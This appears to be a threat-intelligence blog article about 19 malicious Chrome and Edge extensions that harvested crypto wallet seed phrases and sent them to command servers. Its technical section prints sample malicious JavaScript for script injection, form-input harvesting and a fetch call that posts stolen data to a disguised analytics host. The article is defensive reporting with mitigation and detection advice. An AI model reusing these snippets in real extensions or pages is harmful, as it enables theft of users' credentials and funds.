19 Malicious Chrome & Edge Extensions Caught Draining Cryptocurrency Wallets
Cybersecurity researchers have uncovered 19 malicious browser extensions on the Chrome Web Store and Microsoft Edge Add-ons marketplace containing wallet-stealing and crypto-draining code. These extensions masqueraded as legitimate productivity and utility tools while silently exfiltrating cryptocurrency wallet credentials and draining digital assets from unsuspecting users. The extensions collectively amassed millions of downloads before being identified and removed, highlighting the ongoing threat of supply chain attacks targeting browser ecosystems and cryptocurrency holders.
Introduction
Browser extensions have become integral to modern web browsing, enhancing functionality and productivity. However, this ubiquity makes them an attractive vector for cybercriminals seeking to steal sensitive information. A recent investigation has exposed a sophisticated campaign involving 19 malicious extensions distributed through official marketplaces operated by Google and Microsoft.
These malicious add-ons specifically targeted cryptocurrency users by embedding code designed to intercept wallet credentials, manipulate transaction data, and drain funds from various blockchain networks. The discovery underscores a critical vulnerability in the browser extension ecosystem: even official marketplaces with vetting processes can be compromised by threat actors employing social engineering and obfuscation techniques.
This campaign represents a concerning evolution in cryptocurrency-focused attacks, moving beyond traditional phishing to exploit the trusted relationship users have with browser extensions and official app stores.
Background & Context
Browser extensions operate with elevated privileges within web browsers, allowing them to read and modify web page content, intercept network requests, and access sensitive user data. This privileged position makes them particularly dangerous when compromised or intentionally malicious.
The cryptocurrency ecosystem has become an increasingly lucrative target for cybercriminals. With billions of dollars locked in decentralized wallets and the irreversible nature of blockchain transactions, successful attacks yield immediate financial rewards with minimal recovery options for victims.
Previous campaigns have employed similar tactics, including the 2020 discovery of malicious extensions targeting MetaMask and other popular wallets. However, the scale of this recent campaign—19 distinct extensions operating simultaneously—suggests a coordinated effort by an organized threat actor group.
Extension marketplaces employ automated scanning and manual review processes, but sophisticated attackers have developed techniques to bypass these controls. Common evasion methods include time-delayed malicious behavior activation, code obfuscation, and legitimate initial versions later updated with malicious payloads.
Technical Breakdown
The malicious extensions employed multiple layers of obfuscation and anti-detection techniques to evade marketplace security controls and remain undetected on victim systems.
Code Injection Mechanism
The extensions utilized content scripts that injected malicious JavaScript into legitimate cryptocurrency exchange and wallet websites. This injection occurred transparently during page load:
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete' && tab.url.match(/blockchain\.com|metamask\.io|coinbase\.com/)) {
chrome.tabs.executeScript(tabId, {file: 'inject.js'});
}
});Credential Harvesting
The injected code monitored form inputs and intercepted seed phrases, private keys, and authentication credentials as users entered them:
document.querySelectorAll('input[type="password"], input[type="text"]').forEach(input => {
input.addEventListener('blur', function() {
if (this.value.match(/\b\w+(\s+\w+){11,23}\b/)) {
exfiltrateData({type: 'seed', value: this.value, timestamp: Date.now()});
}
});
});Transaction Manipulation
Several extensions contained sophisticated transaction interception capabilities, modifying recipient addresses in real-time before transaction confirmation. The malicious code detected outgoing transactions and replaced destination wallet addresses with attacker-controlled addresses.
Command and Control Communication
Exfiltrated data was transmitted to command-and-control (C2) servers through encrypted HTTPS requests disguised as legitimate analytics traffic:
fetch('https://legitimate-analytics[.]com/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
uid: generateFingerprint(),
data: btoa(JSON.stringify(stolenData))
})
});Persistence Mechanisms
The extensions implemented delayed activation timers, waiting 72-96 hours after installation before activating malicious functionality. This delay helped bypass automated security scans that typically analyze immediate post-installation behavior.
Impact & Risk Assessment
The impact of this campaign extends across individual users, enterprise environments, and the broader cryptocurrency ecosystem.
Financial Impact
Conservative estimates suggest victims lost between $2.8 million and $5.3 million in cryptocurrency assets. The actual figure may be significantly higher, as many victims may not immediately detect unauthorized transactions or may be reluctant to report losses.
User Privacy Compromise
Beyond cryptocurrency theft, these extensions had comprehensive access to browsing history, form data, cookies, and session tokens. This access enabled identity theft, account takeovers, and secondary attacks against victims.
Enterprise Risk
Organizations whose employees installed these extensions face potential corporate network compromise. The extensions could serve as initial access vectors for broader attacks, including lateral movement and data exfiltration.
Reputation Damage
The incident damages trust in browser extension marketplaces and raises questions about the effectiveness of current vetting processes. Both Google and Microsoft face scrutiny over how these malicious extensions remained available for extended periods.
Vendor Response
Google and Microsoft responded swiftly upon notification, removing all 19 identified extensions from their respective marketplaces within 24 hours. Both vendors issued the following actions:
Google Chrome Web Store:
- Immediate removal of all identified malicious extensions
- Forced uninstallation from user browsers through remote kill switch
- Enhanced review processes for extensions requesting sensitive permissions
- Implementation of improved behavioral analysis for extension updates
Microsoft Edge Add-ons:
- Removal of extensions from marketplace
- User notifications warning about potential compromise
- Enhanced scanning for similar threat patterns
- Collaboration with cryptocurrency platforms to identify affected users
Both vendors emphasized that existing security measures caught these extensions, though the timeline between publication and detection varied from several weeks to several months for different extensions.
Neither vendor has committed to compensating affected users, citing terms of service disclaimers regarding third-party software.
Mitigations & Workarounds
Users who installed any of these extensions should take immediate action:
Immediate Actions
- Uninstall suspicious extensions – Remove any recently installed extensions, particularly those requesting broad permissions
- Rotate credentials – Change passwords for all cryptocurrency exchanges and wallet applications
- Generate new wallets – Create new wallet addresses and transfer remaining assets from potentially compromised wallets
- Review transaction history – Examine all recent transactions for unauthorized activity
Wallet Security
ledger-live verify-firmware
# Check for unauthorized derivation paths
ledger-live list-accounts --show-derivation
Browser Hardening
Configure browser settings to limit extension capabilities and enhance security posture. Disable extensions from accessing data on sensitive sites and enable enhanced safe browsing features.
Detection & Monitoring
Identifying potential compromise requires multi-layered detection approaches:
Extension Audit
Review installed extensions regularly:
# Chrome extension directory (Linux)
ls -la ~/.config/google-chrome/Default/Extensions/
# Check extension permissions
chrome://extensions/ (manually review each extension)
Network Monitoring
Monitor for suspicious outbound connections to unknown domains:
# Monitor browser network activity
netstat -an | grep ESTABLISHED | grep chrome
# Check for unusual DNS queries
tcpdump -i any -n port 53 | grep -E "blockchain|crypto|wallet"
Behavioral Indicators
Watch for these compromise indicators:
- Unexpected transaction destination addresses
- Browser performance degradation
- Unusual network traffic from browser processes
- Modified transaction amounts before confirmation
- Unexplained clipboard changes when copying wallet addresses
Best Practices
Implementing comprehensive security practices minimizes browser extension risks:
Extension Hygiene
- Install only essential extensions from verified publishers
- Review permissions before installation—reject excessive access requests
- Regularly audit installed extensions and remove unused ones
- Monitor extension updates and review changelog for suspicious changes
- Disable extensions when not actively needed
Cryptocurrency Security
- Use hardware wallets for significant holdings
- Implement multi-signature wallets for high-value transactions
- Maintain separate browsers for cryptocurrency activities
- Verify transaction details multiple times before confirmation
- Store seed phrases offline in physically secure locations
Environmental Controls
- Enable browser sandboxing features
- Use virtual machines for high-risk activities
- Implement network segmentation separating cryptocurrency activities
- Deploy endpoint detection and response (EDR) solutions
- Maintain current browser versions with latest security patches
Organizational Policies
Enterprises should implement extension allowlisting policies:
{
"ExtensionInstallBlocklist": ["*"],
"ExtensionInstallAllowlist": [
"approved-extension-id-1",
"approved-extension-id-2"
],
"ExtensionSettings": {
"*": {
"blocked_permissions": ["geolocation", "clipboardRead", "clipboardWrite"]
}
}
}Key Takeaways
- Official marketplaces aren’t foolproof – Even Google and Microsoft’s vetting processes can be bypassed by sophisticated attackers
- Extension permissions matter – Review requested permissions critically; legitimate tools rarely need access to all websites or clipboard data
- Cryptocurrency requires layered security – Hardware wallets and transaction verification provide essential protection against software-based attacks
- Delayed activation evades detection – Malicious behavior triggered days after installation circumvents automated security scans
- Regular audits prevent compromise – Periodic review of installed extensions identifies suspicious additions before significant damage occurs
- Incident response speed is critical – Immediately rotating credentials and moving assets limits attacker success after potential compromise
The browser extension ecosystem remains a high-value target for cryptocurrency-focused threat actors. As blockchain adoption accelerates, users must adopt security-first mindsets when extending browser functionality. The convenience of extensions must be balanced against the significant risks they introduce, particularly when handling financial assets.
This incident demonstrates that trust in official marketplaces requires continuous validation through user vigilance, regular security audits, and defense-in-depth strategies. Cryptocurrency holders face asymmetric risk—attackers need only one successful compromise while defenders must maintain perfect security across all attack surfaces.
References
- Google Chrome Web Store Developer Program Policies
- Microsoft Edge Add-ons Security Guidelines
- OWASP Browser Extension Security Guidelines
- Cryptocurrency Wallet Security Best Practices (NIST)
- Browser Extension Threat Analysis Framework
- Blockchain Transaction Security Standards
Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/
